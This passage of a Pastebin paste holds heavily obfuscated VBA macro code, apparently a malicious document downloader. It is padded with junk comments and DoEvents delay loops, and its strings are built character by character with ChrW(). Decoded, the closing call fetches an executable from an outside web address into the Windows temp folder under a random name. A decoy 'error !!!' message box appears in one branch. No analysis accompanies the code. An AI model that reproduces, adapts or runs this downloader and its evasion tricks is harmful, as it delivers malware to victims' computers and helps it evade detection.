  2441. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2442. If Len(ChrW(101) & ChrW(97) & ChrW(114) & ChrW(99) & ChrW(118) & ChrW(122) & ChrW(118) & ChrW(100) & ChrW(49) & ChrW(51) & ChrW(52) & ChrW(51)) = Len(ChrW(118) & ChrW(109) & ChrW(101) & ChrW(122) & ChrW(108) & ChrW(105) & ChrW(115) & ChrW(97)) Then
  2443. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2444.  
  2445. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2446. Dim yjhxiyxs As Integer
  2447. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2448. Dim edxyagiu As Integer
  2449. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2450. For edxyagiu = 0 To 7
  2451. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2452. DoEvents
  2453. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2454. Next edxyagiu
  2455. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2456. yjhxiyxs = 2
  2457. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2458. Do While yjhxiyxs < 24
  2459. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2460. Dim eogpknvj As Integer
  2461. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2462. For eogpknvj = 0 To 7
  2463. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2464. DoEvents
  2465. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2466. Next eogpknvj
  2467. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2468. DoEvents: yjhxiyxs = yjhxiyxs + 1
  2469. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2470. Dim neaogyhy As Integer
  2471. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2472. For neaogyhy = 0 To 3
  2473. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2474. DoEvents
  2475. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2476. Next neaogyhy
  2477. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2478. Loop
  2479. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2480.  
  2481. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2482. Dim ejnbfell As Integer
  2483. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2484. For ejnbfell = 0 To 8
  2485. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2486. DoEvents
  2487. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2488. Next ejnbfell
  2489. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2490.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  2491. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2492. End If
  2493. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2494.  
  2495. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2496. Dim xwllvqyz As Integer
  2497. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2498. Dim feschflv As Integer
  2499. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2500. For feschflv = 0 To 1
  2501. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2502. DoEvents
  2503. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2504. Next feschflv
  2505. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2506. xwllvqyz = 2
  2507. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2508. Do While xwllvqyz < 21
  2509. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2510. Dim avkveval As Integer
  2511. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2512. For avkveval = 0 To 4
  2513. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2514. DoEvents
  2515. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2516. Next avkveval
  2517. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2518. DoEvents: xwllvqyz = xwllvqyz + 1
  2519. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2520. Dim orglipyq As Integer
  2521. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2522. For orglipyq = 0 To 2
  2523. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2524. DoEvents
  2525. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2526. Next orglipyq
  2527. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2528. Loop
  2529. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2530.  
  2531. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2532. Dim ssmxmgbo As Integer
  2533. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2534. For ssmxmgbo = 0 To 9
  2535. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2536. DoEvents
  2537. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2538. Next ssmxmgbo
  2539. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2540.    gigcposgjkk ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(99) & ChrW(97) & ChrW(115) & ChrW(116) & ChrW(111) & ChrW(117) & ChrW(114) & ChrW(115) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(106) & ChrW(115) & ChrW(47) & ChrW(98) & ChrW(105) & ChrW(110) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ(ChrW(116) & ChrW(101) & ChrW(109) & ChrW(112)) & ChrW(92) & ChrW(76) & ChrW(78) & ChrW(90) & ChrW(77) & ChrW(84) & ChrW(68) & ChrW(67) & ChrW(87) & ChrW(76) & ChrW(90) & ChrW(88) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
  2541. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2542.  
  2543. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2544. End Sub
  2545. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2546.  
  2547. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2548.  
  2549. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top